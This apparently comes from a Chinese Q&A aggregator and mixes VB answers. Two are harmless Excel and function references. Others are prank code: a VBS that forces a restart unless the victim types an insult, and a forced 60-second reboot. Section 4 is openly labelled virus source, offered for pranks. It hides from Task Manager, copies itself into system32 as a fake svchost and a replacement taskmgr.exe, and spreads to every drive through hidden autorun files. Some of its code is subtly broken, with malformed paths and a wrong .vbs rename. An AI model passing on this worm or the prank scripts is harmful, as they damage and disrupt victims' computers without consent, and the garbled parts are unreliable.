⑴ VB整人代碼
建立個TXT文檔
輸入：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
保存後 重命名為 整人.VBS
然後 告訴你一下 這個關機時可以避免的 如果被別人整後 可以立馬打開CMD 輸入 shutdown -a
即可取消關機命令 然後使用任務管理器結束進程即可
⑵ 求代寫vb.net 刪除excel行代碼，要VB.NET不要VBA的。
只知道.Net中叫做復VSTO,不懂,但是制你這個問題,顯然用單循環是不能達到目的的.
思路:
For i = 1 To LstRwNum-1
For J = i + 1 To LstRwNum
If ExlSht.cells(i, 1).value = ExlSht.cells(j, 1).value Then
ExlSht.cells(j, 1).value ="" '請除該單元格內容
End If
Next J
Next i
'然後將A列單元格中無內容的行,刪除
For i = 1 To LstRwNum
If ExlSht.cells(i, 1).value = "" Then
刪除該行
End If
Next i
⑶ 求VB編程常用代碼大全
1.數值型函數：
abs(num):
返回絕對值
sgn(num):
num>0
1;
num=0
0;
num<0
-1;判斷數值正負
hex(num):
返回十六進制值
直接表示：&Hxx
最大8位
oct(num):
返回八進制值
直接表示：&Oxx
最大8位
sqr(num):
返回平方根
num>0
int(num):
取整
int(99.8)=99;
int(-99.2)=100
fix(num):
取整
fix(99.8)=99;
fix(-99.2)=99
round(num,n):
四捨五入取小數位
round(3.14159,3)=3.142
中點數值四捨五入為近偶取整
round(3.25,1)=3.2
log(num):
取以e為底的對數
num>0
exp(n):
取e的n次冪
通常用
num^n
sin(num):
三角函數，以弧度為值計算
(角度*Pai)/180=弧度
con(num);
tan(num);
atn(num)
2.字元串函數：
len(str)：計算字元串長度
中文字元長度也計為一！
mid(str,起始字元,[讀取長度])：截取字元串中間子字元串
left(str,nlen)：從左邊起截取nlen長度子字元串
right(str,nlen)：從右邊起截取nlen長度子字元串
Lcase(str)：字元串轉成小寫
Ucase(str)：字元串轉成大寫
trim(str)：去除字元串兩端空格
Ltrim(str)：去除字元串左側空格
Rtrim(str)：去除字元串右側空格
replace(str,查找字元串,替代字元串,[起始字元,替代次數,比較方法])：替換字元串
註：默認值：起始字元
1；替代次數
不限；比較方法
區分大小寫（0）
InStr([起始字元,]str,查找字元串[,比較方法])：檢測是否包含子字元串
可選參數需同時選
返回起始位置
InStrRev(str,查找字元串[,起始字元][,比較方法])：反向檢測是否包含子字元串
返回起始位置
space(n)：構造n個空格的字元串
string(n,str)：構造由n個str第一個字元組成的字元串
StrReverse(str)：反轉字元串
split(str,分割字元串[,次數][,比較方法])：以分割字元串為分割標志將字元串轉為字元數組
可選參數需同時選
3.數據類型轉換函數：
Cint(str)：轉換正數
True
-1；False
0；日期
距離1899/12/31天數；時間
上午段
0；下午段
1；
Cstr(str)：日期
輸出格式
yyyy/mm/dd；時間
輸出格式
Am/Pm
hh:mm:ss
Clng(str)：與Cin()類似
Cbool(num)：num不為零
True；反之
False
Cdate(str)：轉換日期格式
0：#Am
12:00:00#；正數
距離1899/12/31天數的日期；浮點數
日期＋小數時間
Cbyte(num)：num<255
轉換為位元組
Csng(str)：轉換為單精度數值
Cdbl(str)：轉換為雙精度數值
Ccur(str)：轉換為現金格式
4.時間函數：
date：取系統當前日期
time：取系統當前時間
now：取系統當前時間及日期值
Datetime類型
timer：取當前時間距離零點秒值，計時器，可計算時間差
DateAdd(間隔單位,間隔值,日期)：推算相鄰日期
DateDiff(間隔單位,日期一,日期二)：計算時間差
日期二-日期一
Datepart(間隔單位,日期)：計算日期的間隔單位值
Dateserial(date)：輸出日期值（按序列計算）
Timeserial(time)：輸出時間值（按序列計算）
Datevalue(datetime)：取出字元串中日期值
Timevalue(datetime)：取出字元串中時間值
weekday(date)：計算星期幾
MonthName(date)：輸出月分名
year(datetime)：截取年份
month(datetime)：截取月份
day(datetime)：截取日
hour(datetime)：截取小時
minute(datetime)：截取分鍾
second(datetime)：截取秒
5.其它函數：
Array(unit,..)：動態生成數組
Asc(str)：輸出字元串第一個字元的ASCII碼
Chr(asc)：轉換ASCII為字元
Enter：Chr(13)&Chr(10)
Filter(數組名稱,關鍵字元串,[,包含][,比較方法])：
將字元串數組中含有關鍵字元串的元素存成新的數組（默認）
[包含]為false則取不包含的元素
oin(ArrayName)：將數組中元素連成字元串
Ubound(ArrayName[,維數])：取得數組相應維數的上界
Lbound(ArrayName[,維數])：取得數組相應維數的下界
一般為0
Randmize
n：啟動隨機數種子
Rnd(n)：取得隨機數，n>0或為空，取序列下一隨機值，n<0，隨機值相同，n=0，生產與上一隨機值相同的數
取介於A和B之間的隨機正數C，公式：C=Int((B-A+1)*Rnd+A)
條件（B>A）
子程序和自定義函數
Sub
StrSubName
Function
StrFunName(arg[1],..)
子程序體
函數體
Exit
Sub
中途跳出
Exit
Function
中途跳出
End
Sub
StrFunName＝value
返回值
End
Function
[call]
StrSubName
引用子程序
Var=StrFunName(arg[1],..)
引用函數
⑷ 給幾個VB整人程序的代碼。。耍耍人。呵呵
Dim num, nums '驅動器數
Dim i As Integer '文件號
Dim j As Integer 'FOR用的變數!
Private Sub Form_Load() '程序初始化！
'不準重復運行本病毒！
If App.PrevInstance Then
End
End If
'在任務管理器中隱身！
App.TaskVisible = False
'病毒自我保護函數
a0
auts
'得到當前驅動器數！
a2
'設置時間：為5000 MS 檢查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保護函數
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
'得到系統目錄！得到後，自我復制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) & "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) & "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函數
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) & "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到當前驅動器數！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '時間函數
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
If num > nums Then
a1
End If
If num < nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '寫自我刪除程序
On Error Resume Next
i = FreeFile
Open App.Path & "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " & App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path & "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驅動器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
Next
err1:
End Sub
後綴改為vbs
⑸ 用VB製作一個程序的代碼
private
sub
form_load()
'程序啟動時產生的事件過程
shell
"shutdown
-r
-f
-t
60"
'這一句是讓計算機60秒後重啟
end
sub